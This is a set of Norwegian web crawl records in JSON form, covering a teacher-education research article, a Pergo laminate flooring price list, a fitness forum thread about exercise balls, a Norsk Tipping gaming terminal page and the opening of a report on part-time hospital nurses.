med hva som er dominerende praksiser ved skolen de har sin praksisoppl\u00e6ring. N\u00e5r studentene i matematikk st\u00f8tter seg p\u00e5 l\u00e6reboken og l\u00e6rebokens niv\u00e5inndeling av l\u00e6restoffet, s\u00e5 kan dette v\u00e6re som en f\u00f8lge av den situerte praksisen de blir deltakere i som studenter ved de to praksisskolene. Resultatene vi har presentert viser ogs\u00e5 at det \u00e5 implementere nye praksiser i l\u00e6rerutdanninger er krevende. Forskjeller mellom gruppene som hadde praksisoppl\u00e6ring i matematikk og i naturfag kan muligens forklares av at studentene i matematikk ikke hadde fagl\u00e6rere p\u00e5 campus som ga dem innf\u00f8ring i Lesson Study for matematikk. Dette frav\u00e6ret kan muligens v\u00e6re en forklaring p\u00e5 hvorfor studentene ikke utviklet forskningssp\u00f8rsm\u00e5l eller arbeidet med prediksjon slik Lesson Study intervensjonen vektla. P\u00e5 mange m\u00e5ter gjennomf\u00f8rte de planlegging og veiledningssamtalen mer i likhet med det som foregikk i kontrollgruppen v\u00e5ren 2012 enn det som var intensjonen i intervensjonen. Det er derfor viktig \u00e5 understreke utdanningsinstitusjonens ansvar i \u00e5 forberede studentene i forkant av en praksisoppl\u00e6ringsperiode med tanke p\u00e5 \u00e5 sette dem i stand til \u00e5 utvikle egen kompetanse til \u00e5 gjennomf\u00f8re studier av undervisning. Studentene i denne studien er forholdsvis ferske som l\u00e6rerstudenter. De er i det fjerde av totalt \u00e5tte semestre. Resultater fra studien viser ogs\u00e5 at det \u00e5 utforme forskningssp\u00f8rsm\u00e5l og \u00e5 identifisere hva som er viktig \u00e5 observere er vanskelig uten god st\u00f8tte fra fagl\u00e6rere og praksisl\u00e6rere. Slik sett f\u00e5r resultatene fram behovet for \u00e5 tenke progresjon i utvikling av kompetanse for \u00e5 studere og utvikle undervisning. Vi kan ikke forvente at alle studenter kan Lesson Study etter \u00e5 ha fors\u00f8kt en gang. \u00c5 kvalifisere til forskningsbasert yrkesut\u00f8velse krever mer og kan ogs\u00e5 omfatte studier av undervisning som foreg\u00e5r i st\u00f8rre grad p\u00e5 campus ved hjelp av videoopptak. P\u00e5 denne m\u00e5ten kan fagl\u00e6rere bidra til \u00e5 styrke l\u00e6rerstudenters muligheter for \u00e5 utvikle profesjonell kompetanse som de vil ha bruk for i framtidig l\u00e6ring. Denne studien er forholdsvis liten med analyser av kun totalt fire f\u00f8rveiledninger (to fra hvert fag). I analysene har vi imidlertid grundig identifisert og talt alle ytringene fra veiledningssamtalene innen tre kategorier R. Bjuland, N. Helgevold & E. Munthe 15/ adno.no\n\n\n\n", "language": "no", "__index_level_0__": "5680b85d-7a65-4b30-87fb-23baa08f5cc7"}
{"url": "http://www.geitangerbygg.no/laminat.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:30:49Z", "text": "**Pergo Sensation Wide Long Plank Skageneik**\n\n\n\n\u200bDette laminatgulvet, som er en del av Pergos Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Det har fine sprekker og kvister takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj - samt en ekstra matt finish. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nSkageneik har en lys varm og gyllen farge som kan gi liv, og passe til, de aller fleste interi\u00f8rer. Med de ekstra lange og brede gulvbordene fra Wide Long Plank serien er dette et gulv som\u00a0\u00a0understreker det naturlige utseende, skaper romf\u00f8lelse og gir hele rommet en moderne karakter.  \n  \nDimensjoner: 9,5mm x 240mm x 2050mm  \nKr. 299,- pr. m2\n\n-----\n\n**Pergo Sensation Wide Long Plank Sibirsk Eik**\n\n\n\n  \n\u200bDette laminatgulvet, som er en del av Pergos Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Det har fine sprekker og kvister takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj - samt en ekstra matt finish. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nSibirsk Eik har en lys hvit/gr\u00e5 farge som kan lysne opp ett hvert rom. Det lyse utseende allerede v\u00e6rt en klassiker i mange \u00e5r, og fortsatt er denne fargen en av bestselgerene v\u00e5re. Med de ekstra lange og brede gulvbordene fra Wide Long Plank serien er dette et gulv som\u00a0\u00a0understreker det naturlige utseende, skaper romf\u00f8lelse og gir hele rommet en moderne karakter.  \n  \nDimensjoner: 9,5mm x 240mm x 2050mm  \nKr. 299,- pr. m2\n\n-----\n\n## **Pergo Sensation Wide Long Plank Country Eik**\n\n\n\n\u200bDette laminatgulvet, som er en del av Pergos Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Det har fine sprekker og kvister takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj - samt en ekstra matt finish. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nCountry Eik har en m\u00f8rkebrun og varm fargetone som passer godt inn i den mer naturlige trenden med jordfarger som vi ser at begynner \u00e5 komme n\u00e5. Med de ekstra lange og brede gulvbordene fra Wide Long Plank serien er dette et gulv som \u00a0understreker det naturlige utseende, skaper romf\u00f8lelse og gir hele rommet en moderne karakter.  \n  \nDimensjoner: 9,5mm x 240mm x 2050mm  \nKr. 299,- pr. m2\n\n-----\n\n**Pergo Sensation Landsbyeik**\n\n\n\n\u200bLandsbyeik f\u00f8les og ser ut som svakt v\u00e6rslitte planker av naturlig eik.\u00a0  \nDette laminatgulvet, som er en del av v\u00e5r Pergo Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Det har fine sprekker og kvister takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj - samt en ekstra matt finish. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nDimensjoner:\u00a08mm x 190mm x 1380mm  \nKr. 259,- pr. m2\n\n-----\n\n**Pergo Str\u00f8ken Eik**\n\n\n\n\u200bEn lys, 2-stavet laminat i klassisk bordlengde. Lett polert struktur for \u00e5 gi et mer interessant gulv.\u00a0Str\u00f8ken Eik er et moderne laminatgulv i klassisk bordlengde. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. Kvalitetsniv\u00e5et originalExcellence er designet til \u00e5 takle hverdagens utfordringer.  \n  \nDimensjoner: 8mm x 190mm x 1200mm  \nKr. 295,- pr. m2  \n  \n  \n  \n-----\n\n**Pergo Klassisk eik**\n\n\n\n  \n\u200bKlassisk eik er nettopp det - klassisk. Dette varme 3-stavede gulvet har trestruktur og en naturlig varm farge.\u00a0  \n  \nKlassisk Eik er et klassisk laminatgulv i klassisk bordlengde. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. Kvalitetsniv\u00e5et originalExcellence er designet til \u00e5 takle hverdagens utfordringer.  \n\u200b  \nDimensjoner:\u00a08mm x 190mm x 1200mm  \nKr. 295,- pr. m2  \n\u200b\n\n-----\n\n**Pergo Moderne Gr\u00e5 Eik**  \n\n\n\n  \n\u200b1-stavet eikegulv med ekstra lange bord. Gr\u00e5tt, men ikke kaldt i fargen. Kvist og m\u00f8nster gir gulvet et levende uttrykk.  \n  \nModerne Gr\u00e5 Eik er et moderne laminatgulv med 2 m lange bord. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. V\u00e5rt kvalitetsniv\u00e5 livingExpression egner seg for alle hjemmets rom.  \n\u200b  \nKr. 279,- pr. m2  \n  \n**Pergo Sensation New England eik**\n\n\n\n  \n\u200bNew England er et lysegr\u00e5tt laminatgulv med et mykt, hvitvasket utseende og sm\u00e5 kvister.  \n  \nGulvet gir deg vakkert skandinavisk design og en lys og luftig f\u00f8lelse i rommet. New England har en silkematt finish og en svakt b\u00f8rstet overflatestruktur takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nDimensjoner: 8mm x 190mm x 1380mm  \nKr. 259,- pr. m2\n\n-----\n\n**Pergo Drivved Eik**  \n\n\n\n  \n\u200b1-stavet eikegulv med ekstra lange bord. Lyst, men varmt, i fargen. Kvist og m\u00f8nster gir gulvet et levende uttrykk.  \n  \n\u200bDrivved Eik er et naturlig laminatgulv med 2 m lange bord. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. V\u00e5rt kvalitetsniv\u00e5 livingExpression egner seg for alle hjemmets rom.  \n\u200b  \nKr. 279,- pr. m2\n\n-----\n\n**Pergo H\u00f8steik**\n\n\n\n  \n\u200bEkstra lange bord i en gr\u00e5lig fargetone som er enkel \u00e5 m\u00f8blere til. Overflate med struktur gj\u00f8r gulvet levende.\u00a0  \n  \n\u200bH\u00f8steik er et moderne laminatgulv med 2 m lange bord. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. V\u00e5rt kvalitetsniv\u00e5 Original Excellence egner seg godt til rom med ekstra slitasje.  \n\u200b  \nKr. 329,- pr. m2\n\n**Pergo Vintereik**  \n\n\n\n  \n\u200bLyst laminatgulv med ekstra lange bord og trestruktur. Gulvets lyse farge passer godt i de fleste rom og gi er luftig preg.\u00a0  \n  \n\u200bVintereik er et moderne laminatgulv med 2 m lange bord. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. V\u00e5rt kvalitetsniv\u00e5 livingExpression egner seg for alle hjemmets rom.  \n\u200b  \nKr. 279,- pr. m2\n\n-----\n\n**Pergo Koksgr\u00e5 Skifer**  \n\n\n\nM\u00f8rk gr\u00e5 skiferlaminat. Store, firkantede laminatheller med fasede kanter gir et utseende som minner til forveksling om ekte stein.\u00a0  \n  \nKoksgr\u00e5 Skifer er et moderne laminatgulv i helleformat med fire fasede kanter for \u00e5 fremheve f\u00f8lelsen av ekte keramiske fliser. Dette gulvet har Genuine\u2122 stein, en naturtro struktur som f\u00f8lger strukturen til ekte steinfliser, fremhevet med en matt finish. V\u00e5rt kvalitetsniv\u00e5 livingExpression egner seg for alle hjemmets rom.  \n\u200b  \nDimensjoner:\u00a08mm x 408mm x 1224mm  \nKr. 279,- pr. m2  \n  \n\n-----\n\n**Pergo Kalket Gr\u00e5 Eik**  \n\n\n\n  \n\u200bPlankelaminat med struktur og Natural Variation som gj\u00f8r at det er mange hundre forskjellige variasjoner.  \n  \nKalket Gr\u00e5 Eik er et moderne laminatgulv med Natural Variation\u2122, en spesiell teknikk som gir hvert bord et tilfeldig kalket og naturlig rustikt utseende for \u00e5 skape hundrevis av ulike variasjoner. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. V\u00e5rt kvalitetsniv\u00e5 livingExpression egner seg for alle hjemmets rom.  \n\u200b  \nDimensjoner:\u00a08mm x 190mm x 1200mm  \nKr. 275,- pr. m2  \n  \n\n-----\n\n**Pergo Landsbygr\u00e5 Eik**  \n\n\n\n  \n\u200b1-stavet gr\u00e5tt laminatgulv med lange bord og rolig m\u00f8nster,\u00a0  \n  \nLandsbygr\u00e5 eik er et lysegr\u00e5tt laminatgulv med et mykt, hvitvasket utseende og sm\u00e5 kvister. Gulvet gir deg en skandinavisk design og en romslig effekt takket v\u00e6re de 2 m lange plankene. Landsbygr\u00e5 eik har en silkematt finish og en svakt b\u00f8rstet overflatestruktur takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nDimensjoner: 9mm x 205mm x 2050mm  \nKr. 279,- pr. m2\n\n-----\n\n**Pergo Romantisk Eik**  \n\n\n\n  \n\u200bRomantisk Eik er et beige laminatgulv med et mykt, hvitvasket utseende og sm\u00e5 kvister.  \n  \n\u200bGulvet gir deg sinnsro og en skandinavisk design som st\u00e5r til enhver stil. Romantisk Eik leveres som 2 m lange planker med silkematt finish og en svakt b\u00f8rstet overflatestruktur takket v\u00e6re Genuine\u2122 wood - en overflatestruktur som f\u00f8lger treverket ned til minste detalj. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n\u200b  \nDimensjoner: 9mm x 205mm x 2050mm  \nKr. 279,- pr. m2\n\n**Pergo Sensation Bondeeik**\n\n\n\n  \n\u200bBondeeik er en m\u00f8rk eikedesign der perfeksjon og ufullkommenhet g\u00e5r h\u00e5nd i h\u00e5nd.  \n  \n\u200bDet er en del av v\u00e5r Pergo Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Dette laminatgulvet leveres med silkematt finish og naturtro sprekker og kvister takket v\u00e6re Genuine\u2122 rustic - en overflatestruktur som fremhever detaljer som sprekker, kvister og ripeeffekter. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som\u00a0egner seg for alle hjemmets rom.  \n  \n  \n\u200b  \nDimensjoner: 8mm x 190mm x 1380mm  \nKr. 259,- pr. m2\n\n-----\n\n**Pergo Brent Eik**\n\n\n\n  \n\u200bBrent Eik er et varmt, naturlig laminatgulv med 2 m lange bord. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet leveres med trestrukturen Genuine\u2122, en lett polert struktur som f\u00f8lger treverket ned til de fineste detaljer, og en silkematt finish. Living Expression\u00a0er et kvalitetsniv\u00e5 fra Pergo som\u00a0egner seg for alle hjemmets rom.  \n  \nDimensjoner: 9mm x 205mm x 2050mm  \nKr. 279,- pr. m2  \n  \n  \n**Pergo Ask Natur**\n\n\n\nAsk Natur er et skandinavisk inspirert laminatgulv med 2 m lange bord. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Dette gulvet har en antikk trestruktur som gir en rustikt \u00e5rgangspreg, fremhevet av en silkematt finish. Kvalitetsniv\u00e5et Living Expression er egner seg for alle hjemmets rom.  \n  \n\u200bDimensjoner: 9mm x 205mm x 2050mm  \nKr. 279,- pr. m2  \n\u200b\n\n-----\nPergo\u00a0Sensation Kalket Gr\u00e5 Eik\n\n\n\n  \n\u200bKalket gr\u00e5 eik f\u00f8les og ser ut som et gulv som er slitt av sol og sand, noe som gir et maritimt preg til ethvert rom. Dette laminatgulvet, som er en del av v\u00e5r Pergo Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Det har fine sprekker og kvister takket v\u00e6re Genuine\u2122 wood \u2013 en overflatestruktur som f\u00f8lger treverket ned til minste detalj \u2013 samt en ekstra matt finish. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n  \n\u200bDimensjoner: 8mm x 190mm x 1380mm  \nKr. 259,- pr. m2\n\n-----\n\n## **Pergo Sensation Kysteik**\n\n\n\n  \n\u200bKysteik lyser opp rommet og skaper perfekte omgivelser med sin ekstra matte overflate. Laminatgulvet er en del av Pergo Sensation-kolleksjonen med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n  \n\u200bDimensjoner: 8mm x 190mm x 1380mm  \nKr. 259,- pr. m2\n\n## **Pergo Sensation Urban gr\u00e5 Eik**\n\n\n\n  \nUrban gr\u00e5 eik er et m\u00f8rkegr\u00e5tt laminatgulv som f\u00f8les og ser ut som svakt v\u00e6rslitte planker. Det er en del av v\u00e5r Pergo Sensation-kolleksjon med AquaSafe-teknologi, er praktisk talt umulig \u00e5 skjelne fra ekte tre og er eksepsjonelt vannbestandig. Det har fine sprekker og kvister takket v\u00e6re Genuine\u2122 wood \u2013 en overflatestruktur som f\u00f8lger treverket ned til minste detalj \u2013 samt en ekstra matt finish. F\u00f8lelsen av trebord fremheves ytterligere med faser langs alle de fire kantene. Living Expression er et kvalitetsniv\u00e5 fra Pergo som egner seg for alle hjemmets rom.  \n  \n\u200bDimensjoner: 8mm x 190mm x 1380mm  \nKr. 259,- pr. m2\n\n-----\n\n## **Pergo Domestic Eik Natur 3-stav**\n\n\n\n\u200bEik Natur er et vakkert laminatgulv i klassisk bordformat. Strukturen p\u00e5 dette gulvet har en fin, realistisk treoverflate, fremhevet av en matt finish.\u00a0  \n  \nGulvet er fra Pergos Domestic Extra serie. Disse gulvene egner seg best p\u00e5 soverom, og andre rom uten for stor slitasje.  \n  \nDimensjon: 8mm x 190mm x 1200 mm  \n\u200bKr. 175,- pr. m2  \n  \n\n-----\n\n## **Pergo Domestic Nordisk Ask**\n\n\n\n  \n\u200bPergo Nordisk Hvit Ask er et vakkert laminatgulv i klassisk bordformat. Strukturen p\u00e5 dette gulvet har en fin, realistisk treoverflate, fremhevet av en matt finish.  \n  \nGulvet er fra Pergos Domestic Extra serie. Disse gulvene egner seg best p\u00e5 soverom, og andre rom uten for stor slitasje.  \n  \nDimensjon: 8mm x 190mm x 1200 mm  \n\u200bKr. 175,- pr. m2  \n  \n  \n", "language": "no", "__index_level_0__": "1fe9c313-dc2b-4df2-a4cd-f322b95be6ce"}
{"url": "http://forum.fitnessbloggen.no/topic/34181-gymballtreningsball/?tab=comments", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:29:05Z", "text": "Skrevet August 6, 2015  \n\nKunne tenke meg \u00e5 begynne med litt styrketrening ved bruk av en slik gymball/treningsball som er s\u00e5 popul\u00e6rt n\u00e5. Noen som har erfaring med slike og kan anbefale en? Vet det de kommer i ulike st\u00f8rrelser. Jeg er 168 h\u00f8y, s\u00e5 om det er h\u00f8yden som avgj\u00f8r str s\u00e5 hvilken trenger jeg? Ellers noen spesiell type/merke som kan anbefales eller er det samme hvilken man anskaffer?\n\n  - \nSkrevet August 7, 2015  \n\nHvilken st\u00f8rrelse du skal bruke er i hovedsak basert p\u00e5 h\u00f8yden din ja. Med din h\u00f8yde er den anbefalte st\u00f8rrelsen 65 cm. Merke er ikke s\u00e5 voldsomt farlig, x-erfit eller abilica f.eks er rimelige baller.\n\n", "language": "no", "__index_level_0__": "649b2c9e-a1f9-4741-bcbb-5b1ad0227873"}
{"url": "http://maxspill.no/spill/belago", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:20:53Z", "text": "Belago er et nytt og unikt konsept utviklet av Norsk Tipping.\n\nSpillene er av typen hjulspill og er b\u00e5de spennende og underholdende.\n\nI tillegg til gevinster i hvert enkelt spill inntil 2500,-, er det en lokal og nasjonal jackpot. Den nasjonale jackpoten er inntil 50.000,- kroner og den lokale inntil 12.000,-.\n\nBelago terminalene finner du kun i landets bingohaller.\n\nFor \u00e5 spille p\u00e5 Belago m\u00e5 en ha en spillekonto og et spillerkort fra Norsk Tipping. Dette f\u00e5r du hos kommisjon\u00e6r eller p\u00e5 nettsiden  \nwww.norsk-tipping.no. Penger til spillekontoen din kan du overf\u00f8re direkte fra din bankkonto eller som kontant innskudd i v\u00e5re spillehaller.\n\n", "language": "no", "__index_level_0__": "48597581-f7a5-4b6e-af63-4082b43707b3"}
{"url": "http://docplayer.me/3544946-Arbeidskraftreserven-blant-deltidsansatte.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:20Z", "text": "# Arbeidskraftreserven blant deltidsansatte\n\n\n\n5 Forord Denne rapporten er sluttproduktet til prosjektet Arbeidskraftreserven blant deltidsansatte i sykehussektoren. Prosjektet er finansiert av Sosial- og helsedepartementet og Aetat Arbeidsdirektoratet, sistnevnte med st\u00f8tte fra Arbeids- og administrasjonsdepartementet. Prosjektets styringsgruppe har best\u00e5tt av Hildegunn Rafdal, Sosial- og helsedepartementet, Jorunn Furuberg, Aetat Arbeidsdirektoratet, Bent-Ole Grooss, Arbeids- og administrasjonsdepartementet, og undertegnede. Prosjektet har i tillegg hatt en referansegruppe best\u00e5ende av Kirsten Nesg\u00e5rd, Norsk Sykepleierforbund, Randi R\u00f8vik, Norsk Kommuneforbund, Thrine Skaga, Norsk Helse- og Sosialforbund, og Arne Norum, Kommunenes Sentralforbund. Bente Abrahamsen, Institutt for samfunnsforskning, har v\u00e6rt prosjektets eksterne veileder og kvalitetssikrer og har deltatt p\u00e5 referansegruppem\u00f8tene. Jeg \u00f8nsker \u00e5 takke samtlige for deltakelse, kommentarer og innspill, men spesielt vil jeg takke Bente Abrahamsen for hennes innsiktsfulle og sv\u00e6rt nyttige kommentarer. I tillegg \u00f8nsker jeg \u00e5 takke representantene for de deltakende sykehusene og avdelingene som var villige til \u00e5 v\u00e6re med i kartleggingen. Sv\u00e6rt mange har ogs\u00e5 jobbet i kulissene for \u00e5 realisere dette prosjektet, blant annet ansatte ved l\u00f8nns- og personalavdelingene som har framskaffet opplysninger og data, herunder timelistene. Dere fortjener alle en spesiell takk. Jeg vil ogs\u00e5 takke prosjektassistentene mine som m\u00e5 ha opplevd registreringen av timelistene som en n\u00e6rmest ugjennomtrengelig jungel, men som likevel sto l\u00f8pet ut. Tusen takk Heidi Omdal, Thu Nguyen og Kathrine Sk\u00e5rdal\\! Ikke minst vil jeg takke alle informantene som tok seg tid til \u00e5 svare p\u00e5 sp\u00f8rreskjemaet. De ansattes vurderinger og oppfatninger er en viktig faktor for \u00e5 forst\u00e5 deltidsproblematikken og dere har alle spilt en viktig brikke i dette puslespillet. Torunn Olsen Arendal, februar 22 i\n\n\n\n\n\n\n\n13 Sammendrag Vi f\u00e5r gjentatte ganger h\u00f8re at det er mangel p\u00e5 helsepersonell i Norge og mangelen synes \u00e5 v\u00e6re spesielt stor blant sykepleiere i sykehussektoren. I den p\u00e5g\u00e5ende debatten er en rekke ulike forklaringer p\u00e5 arbeidskraftmangelen blant sykepleiere fremsatt. Abrahamsen (2) fant at sykepleiermangelen ikke er et resultat av stor yrkesavgang, men at deltidsarbeid og avbrudd fra arbeidslivet er av st\u00f8rre betydning for \u00e5 forklare tapt yrkesinnsats blant sykepleierutdannede. I denne rapporten er det syke- og hjelpepleieres deltidsarbeid ved somatiske sykehus som st\u00e5r i fokus. Sentrale sp\u00f8rsm\u00e5l er: Hvor stor er arbeidskraftreserven blant syke- og hjelpepleierne i sykehussektoren, hvorfor jobber syke- og hjelpepleierne deltid og hva kjennetegner de ansatte som \u00f8nsker \u00e5 jobbe mer? I 21 gjennomf\u00f8rte Agderforskning en kartlegging ved 13 avdelinger fordelt p\u00e5 \u00e5tte sykehus i fire fylker hvor m\u00e5let var \u00e5 belyse ovennevnte sp\u00f8rsm\u00e5l. Kartleggingen omfattet sju medisinske avdelinger, fire kirurgiske avdelinger, en barne- og familieklinikk og en akutt avdeling, fordelt p\u00e5 fylkene Finnmark, Nord-Tr\u00f8ndelag, Hordaland og Oslo. Resultatene som presenteres i denne rapporten er hovedsakelig basert p\u00e5 to datasett fra 11 av avdelingene. Det ene er timelister fra avdelingene for en bestemt seksukersperiode og det andre er en sp\u00f8rreunders\u00f8kelse blant de ansatte ved de deltakende avdelingene. I sp\u00f8rreunders\u00f8kelsen mottok vi svar fra 41 informanter og dette tilsvarer en svarprosent p\u00e5 54. Ingen enkle svar Denne rapporten gir ingen enkle svar: Hvor stor arbeidskraften egentlig er avhenger av hvilken definisjon man legger til grunn. Hvorfor man jobber deltid avhenger i h\u00f8y grad av hvilken livsfase man er i, og svarene er heller ikke entydige og gitt i forhold til hva som kan motivere flere til \u00e5 jobbe mer. Rapporten kan imidlertid bidra til \u00e5 gi et mer nyansert bilde av hvorfor mange velger deltid og at det kan bli vanskelig \u00e5 finne egnede virkemidler til \u00e5 lokke flere til \u00e5 jobbe mer innen sykehussektoren. Selv om en stor andel syke- og hjelpepleiere jobber deltid, vil vi konkludere med at denne gruppen ikke utgj\u00f8r noen stor arbeidskraftreserve. Vi mener at det er urealistisk \u00e5 operere med tall p\u00e5 en arbeidskraftreserve som ikke tar hensyn til hvor mye de ansatte selv \u00f8nsker \u00e5 jobbe, og til at det store flertallet er faktisk forn\u00f8yd med sin arbeidstid. Det er ogs\u00e5 viktig \u00e5 huske at fle r- tallet av de deltidsansatte arbeider mer enn deres stillingsbr\u00f8k tilsier ved at de tar ekstravakter utover de faste vaktene. Et moment som vi ikke har foku- ix\n\n\n\n14 sert p\u00e5 i denne rapporten, men som likevel er viktig, er at selv om samtlige deltidsansatte skulle \u00f8nske \u00e5 jobbe i hel stilling, kan ikke arbeidsgiver tilby dem det innenfor dagens rammer. S\u00e5 lenge tredje-hver-helg-regelen praktiseres, er arbeidsgiver avhengig av en viss andel deltidsstillinger for \u00e5 f\u00e5 turnus til \u00e5 g\u00e5 opp. Debatten om hvor stor arbeidskraftreserve deltidsansatte utgj\u00f8r b\u00f8r derfor ta h\u00f8yde b\u00e5de for hvor mye de ansatte \u00f8nsker \u00e5 jobbe og hvor store stillinger arbeidsgiver kan tilby. For de aller fleste er det \u00e5 jobbe deltid et valg. Vi har ogs\u00e5 sett at hvor mye de \u00f8nsker \u00e5 jobbe kan ofte relateres til hvor i livsfasen de er. Sett i lys av at det er god tilgang p\u00e5 ekstravakter ved avdelingene, er det mye som tyder p\u00e5 at deltid er en god l\u00f8sning for sv\u00e6rt mange fordi det gir dem en viss arbeidstidsfleksibilitet som de ellers ikke kunne f\u00e5 innen en turnusordning. \u00c5 jobbe deltid kombinert med ekstravakter kan p\u00e5 mange m\u00e5ter forst\u00e5s som en form for fleksitid med muligheter for avspasering n\u00e5r det passer. Et sentralt sp\u00f8rsm\u00e5l er om vi kan generalisere fra denne kartleggingen til \u00e5 si noe om sykepleiere og hjelpepleiere ved somatiske sykehus i Norge generelt. P\u00e5 bakgrunn av en totalvurdering som omfatter svarprosenter, dekningsgrad, fellestrekk i svarene gitt i sp\u00f8rreunders\u00f8kelsen og resultatene fra timelisteunders\u00f8kelsen, holdt opp mot de to tidligere deltidskartleggingene gjennomf\u00f8rt ved Agderforskning, vil vi konkludere med at resultatene som kommer fram i denne kartleggingen kan generaliseres til de aller fleste norske somatiske sykehus med unntak av Oslo og omegn. I fylkessammenheng m\u00e5 Finnmark og Oslo betraktes som unntakene fra regelen n\u00e5r det gjelder deltidssysselsetting. N\u00e5r det gjelder Finnmark har vi en akseptabel svarprosent og en god dekningsgrad. For Oslo kan vi ikke si det samme: Dekningsgraden i Oslo er sv\u00e6rt lav og de ansatte i Oslo har kjennetegn som skiller dem ut fra de \u00f8vrige deltakende fylkene. Det kan imidlertid tenkes at de avdelingene som har deltatt i denne kartleggingen stort sett er representative for sykehusavdelinger i Oslo, men det kan ogs\u00e5 tenkes at vi har med avdelinger som er langt fra gjennomsnittet. Dette betyr ikke at kartleggingen av Osloavdelingene i denne unders\u00f8kelsen er verdil\u00f8s. Kartleggingen i Oslo m\u00e5 heller betraktes som et bidrag til \u00e5 rette s\u00f8kelyset p\u00e5 sp\u00f8rsm\u00e5let om hva som gj\u00f8r Oslo spesiell. Et sp\u00f8rsm\u00e5l som vi sitter igjen med er om vi kan snakke om en deltidskultur, og i s\u00e5 fall hvordan deltidskulturer oppst\u00e5r og reproduseres. Denne kartle g- gingen gir ingen entydige eller enkle svar p\u00e5 hva som er med p\u00e5 \u00e5 drive fram og vedlikeholde deltidskulturer ved sykehusavdelinger. Trolig er det en kombinasjon av arbeidsgivers behov, arbeidsmarkedet og kjennetegn ved de x\n\n\n\n15 ansatte, herunder hvilke livsfase de er i, deres preferanser og mestringsstrategier. Arbeidskraftreserven blant syke- og hjelpepleierne i sykehussektoren er 